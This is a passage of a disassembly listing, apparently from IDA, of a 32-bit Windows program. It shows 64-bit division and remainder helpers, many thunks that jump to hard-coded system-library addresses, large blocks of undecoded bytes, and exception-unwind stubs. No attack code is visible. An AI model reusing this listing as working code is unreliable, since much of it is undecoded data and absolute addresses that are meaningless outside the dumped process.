		dd 310E80Ch, 0C4830000h, 74FFC30Ch, 0CBE80424h,	0F7FFFFFFh
		dd 59C01BD8h, 0C348D8F7h, 7F464EE9h, 0E9909F77h, 777FF5E8h
		dd 7FF5FAE9h
		db 77h,	0EBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437BDA	proc near		; CODE XREF: sub_4199C0+28p
		jmp	near ptr 77C4FA10h
sub_437BDA	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================



sub_437BE0	proc near		; CODE XREF: sub_41B920+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_437C01
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_437C51
; ---------------------------------------------------------------------------


loc_437C01:				; CODE XREF: sub_437BE0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_437C0F:				; CODE XREF: sub_437BE0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C0F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_437C3A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_437C3A
		jb	short loc_437C42
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_437C42


loc_437C3A:				; CODE XREF: sub_437BE0+4Aj
					; sub_437BE0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_437C42:				; CODE XREF: sub_437BE0+52j
					; sub_437BE0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_437C51:				; CODE XREF: sub_437BE0+1Fj
		pop	ebx
		retn	10h
sub_437BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_437C60	proc near		; CODE XREF: sub_41B920+30p
					; sub_41B920+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_437C82
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_437CC3
; ---------------------------------------------------------------------------


loc_437C82:				; CODE XREF: sub_437C60+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_437C90:				; CODE XREF: sub_437C60+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_437C90
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_437CBE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_437CBE
		jb	short loc_437CBF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_437CBF


loc_437CBE:				; CODE XREF: sub_437C60+4Ej
					; sub_437C60+54j
		dec	esi


loc_437CBF:				; CODE XREF: sub_437C60+56j
					; sub_437C60+5Cj
		xor	edx, edx
		mov	eax, esi


loc_437CC3:				; CODE XREF: sub_437C60+20j
		pop	esi
		pop	ebx
		retn	10h
sub_437C60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E3h, 8Dh
		dd 0E9907780h, 7780733Ch, 187E990h, 97E97781h, 32778091h
		dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h,	0E9907780h
		dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 8071EDE9h
		dd 4E91B77h, 0FF778091h, 43ADE990h, 46E9777Fh, 6C777E48h
		dd 7FF0D1E9h, 0E9900477h, 777FF4D2h, 7E758FE9h,	0E9904B77h
		dd 77807BFDh, 9B30E990h, 9CE97780h, 5A778026h, 25C1E990h
		dd 0C8E97780h, 2778113h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437D4C	proc near		; CODE XREF: ___:0043297Cp
		nop
		jmp	near ptr 77C3619Ch
sub_437D4C	endp

; ---------------------------------------------------------------------------
		dw 1DE9h
		dd 11777FF0h, 8E53E990h, 4517780h, 0F3E692C4h, 9853C12h
		dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh, 0AD41E226h
		dd 5653917Ch, 0E8658957h, 5D89DB33h, 90026AFCh,	7FD5EBE8h
		dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h
		dd 0D8B777Eh, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh
		dd 8890051h, 511A28A1h,	0A3008B00h, 510998h, 12EE8h, 0B01D3900h
		dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h
		dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h
		dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h,	8D509045h
		dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h
		dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 93E85353h, 9002439Dh
		dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 77801FDEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437EBC	proc near		; CODE XREF: ___:00437B04p
		nop
		jmp	near ptr 77C21868h
sub_437EBC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_437EC4	dd 777FCF89h, 801FCDE9h, 0E9902077h, 777FAEDAh,	7011E990h
		dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 7781577Dh, 0C3C3C033h, 72A2E990h, 0D4E9777Eh
		dd 25777E72h, 0D46EE990h, 0E990777Fh, 777FDD80h, 6F15E990h
		dd 4CE97781h, 0FF75C684h, 8529E990h, 0E99075C6h, 75C5A102h
		dd 0C57554E9h, 0F9E90775h, 8875C684h, 0C4A02AE9h, 0E9909C75h
		dd 75C53908h, 0C5F766E9h, 0E990ED75h, 75C4DB94h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437F50	proc near		; CODE XREF: sub_4193C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_437F50	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 23A8BB4h, 3A8C0DE9h,	0E9907402h, 23B8098h, 84EBE990h
		dd 0E990023Bh, 23C808Ch, 3C910AE9h, 0E990C702h,	23D8080h
		dd 807AE990h, 0E990023Eh, 23E95F8h, 3E9836E9h, 0E9902F02h
		dd 23E9B7Bh, 9E44E990h,	0E990023Eh, 23F805Ch, 8673E990h
		dd 0E990023Fh, 23F899Ah, 40804BE9h, 0A1E9A602h,	7E02408Bh
		dd 41803FE9h, 0E9909502h, 2418314h, 8032E990h, 0E9900242h
		dd 243802Ch, 9187E990h,	0E9900243h, 2439C3Eh, 801AE990h
		dd 0EE90244h, 7E024488h, 8C7FE990h, 0E9900244h,	2458008h
		dd 836EE990h, 0E9900245h, 23A889Fh, 7FF6E990h, 0E990023Ah
		dd 2397FF0h, 87DCE990h,	0E5E90238h, 0DE02387Fh,	7FDEE990h
		dd 0E9900237h, 2368442h, 7FD2E990h, 0E9900236h,	2358B9Dh
		dd 3583BFE9h, 0E9908802h, 2358221h, 7FBAE990h, 0E990022Ch
		dd 23581ECh, 8193E990h,	96E90235h, 0D47C4C90h, 8FA7E990h
		dd 0E9907C4Ch, 2357F9Ch, 8D4AE990h, 0E9900234h,	2348740h
		dd 7F8AE990h, 56E90234h, 7602338Ah, 89E7E990h, 0C6E90233h
		dd 16023387h, 8663E990h, 0E9900233h, 2338440h, 338213E9h
		dd 0E9900C02h, 2337F60h, 8B9EE990h, 0E9900232h,	23288F3h
		dd 8571E990h, 0A5E90232h, 0DC023284h, 327F43E9h, 0E9902A02h
		dd 2318ADBh, 87FFE990h,	0F7E90231h, 28023185h, 82A3E990h
		dd 0E9900231h, 2317F24h, 889CE990h, 0E9900230h,	2308530h
		dd 84E3E990h, 0E9900230h, 2307F0Ch, 8C40E990h, 0E990022Fh
		dd 22F8955h, 8545E990h,	0F5E9022Fh, 0E022F7Eh, 2E8B7BE9h
		dd 0E9906702h, 22E8987h, 2E86A7E9h, 0E9905802h,	22E84FCh
		dd 7ED6E990h, 0E990022Eh, 22D7ED0h, 0F5C1E990h,	0E990001Bh
		dd 24589D9h, 9243E990h,	0E9900250h, 24C7EB8h, 7EB2E990h
		dd 0E9900250h, 24F804Fh, 7EA6E990h, 0E990024Fh,	24E7EA0h
		dd 863BE990h, 7DE9024Dh, 50024D82h, 7E8EE990h, 0E990024Dh
		dd 24C8830h, 85E3E990h,	0E990024Ch, 24C8384h, 7E76E990h
		dd 0E9900246h, 24B8B6Eh, 86E0E990h, 0E990024Bh,	24B82D9h
		dd 7E5EE990h, 59E9024Bh, 92024A7Eh, 7E52E990h, 51E90249h
		dd 0E6024899h, 9634E990h, 0E9900248h, 24893D1h,	4892B9E9h
		dd 0E990BB02h, 2487E34h, 477E2FE9h, 0E990AE02h,	7C608F38h
		dd 67BD64E9h
		db 71h,	0CAh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381DE	proc near		; CODE XREF: ___:0042DBE1p
		nop
		jmp	near ptr 71AB4FD4h
sub_4381DE	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 8Fh, 62h
		db 68h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381EA	proc near		; CODE XREF: sub_42DBD1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_4381EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4381F0	proc near		; CODE XREF: sub_42DF40+E5p
					; sub_42EF60+4Fp
		jmp	near ptr 71AB615Ah
sub_4381F0	endp

; ---------------------------------------------------------------------------
		db 0F0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381F6	proc near		; CODE XREF: sub_42E490+9Ap
					; sub_42F040+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_4381F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4381FC	proc near		; CODE XREF: sub_42F2C0+53p
					; sub_42F2C0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_4381FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438202	proc near
		nop
		jmp	near ptr 71AC1028h
sub_438202	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438208	proc near		; CODE XREF: sub_42E170+71p
					; sub_42ED50+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_438208	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167A9ACh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438214	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_438214	endp

; ---------------------------------------------------------------------------
		dw 47E9h
		dd 747167A9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438220	proc near		; CODE XREF: sub_42E870+187p
		nop
		jmp	near ptr 71AB951Eh
sub_438220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438226	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_438226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43822C	proc near		; CODE XREF: sub_42DB00+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_43822C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438232	proc near		; CODE XREF: ___:0042DC2Fp
					; sub_42E870+152p
		jmp	near ptr 71AB3B91h
sub_438232	endp

; ---------------------------------------------------------------------------
		push	eax

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438238	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_438238	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167C1E4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438244	proc near		; CODE XREF: sub_42DA80+10p
		nop
		jmp	near ptr 71AB664Dh
sub_438244	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7167CE78h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438250	proc near		; CODE XREF: sub_434BA0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_438250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438256	proc near		; CODE XREF: sub_41A7D0+92p
					; sub_41A9C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_438256	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0EEh, 88h
; ---------------------------------------------------------------------------
		push	0B1E99071h
		retn	7167h
; ---------------------------------------------------------------------------
		dd 67A953E9h, 0E990E371h, 7167AA9Bh, 0A9EFE990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43827A	proc near
		jmp	near ptr 71AB3EA1h
sub_43827A	endp

; ---------------------------------------------------------------------------
		db 37h
		db 90h
		db 0E9h, 0E3h, 4
		dd 0FEE97168h, 0E7167C1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43828C	proc near		; CODE XREF: sub_42DB00+53p
					; sub_42DB00+C3p
		jmp	near ptr 71ABE6EBh
sub_43828C	endp

; ---------------------------------------------------------------------------
		db 3Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_438292	proc near		; CODE XREF: sub_42F2C0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_438292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_438298	proc near
		jmp	near ptr 71AB2A5Eh
sub_438298	endp

; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43829E	proc near		; CODE XREF: ___:0041C2B7p
					; ___:0041C2CCp
		nop
		jmp	near ptr 71B2578Ch
sub_43829E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382A4	proc near		; CODE XREF: ___:0041C40Dp
					; ___:0041C42Fp
		nop
		jmp	near ptr 71B25099h
sub_4382A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382AA	proc near		; CODE XREF: ___:00426390p
		jmp	near ptr 71B2517Fh
sub_4382AA	endp

; ---------------------------------------------------------------------------
		db 11h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B0	proc near		; CODE XREF: sub_420090+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_4382B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4382B6	proc near		; CODE XREF: sub_420090+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_4382B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382BC	proc near		; CODE XREF: sub_420090+21p
		jmp	near ptr 76BF3A9Ah
sub_4382BC	endp

; ---------------------------------------------------------------------------
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4382C2	proc near		; CODE XREF: ___:0041B2B4p
		jmp	near ptr 76F36C5Bh
sub_4382C2	endp

; ---------------------------------------------------------------------------
		db 50h
		db 90h
		db 0E9h, 80h, 0DFh
dword_4382CC	dd 0E9907780h, 7780DE51h, 80DE97E9h, 41E97977h,	587780E0h
		dd 2C4h	dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh,	8DFFFC84h
		dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403530	proc near		; DATA XREF: sub_403530+2o
		mov	eax, offset dword_43F470
		jmp	sub_437AB8
SEH_403530	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_438E6B:				; DATA XREF: ___:0043F4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403720	proc near		; DATA XREF: sub_403720+2o
		mov	eax, offset dword_43F4C0
		jmp	sub_437AB8
SEH_403720	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C50	proc near		; DATA XREF: sub_403C50+2o
		mov	eax, offset dword_43F700
		jmp	sub_437AB8
SEH_403C50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392B8:				; DATA XREF: ___:0043F75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403CE0	proc near		; DATA XREF: sub_403CE0+2o
		mov	eax, offset dword_43F730
		jmp	sub_437AB8
SEH_403CE0	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4392E8:				; DATA XREF: ___:0043F794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D60	proc near		; DATA XREF: sub_403D60+2o
		mov	eax, offset dword_43F768
		jmp	sub_437AB8
SEH_403D60	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403DE0	proc near		; DATA XREF: sub_403DE0+2o
		mov	eax, offset dword_43F7A0
		jmp	sub_437AB8
SEH_403DE0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_439338:				; DATA XREF: ___:0043F7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E50	proc near		; DATA XREF: sub_403E50+2o
		mov	eax, offset dword_43F7D0
		jmp	sub_437AB8
SEH_403E50	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_4393B8:				; DATA XREF: ___:0043F85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403F30	proc near		; DATA XREF: sub_403F30+2o
		mov	eax, offset dword_43F830
		jmp	sub_437AB8
SEH_403F30	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
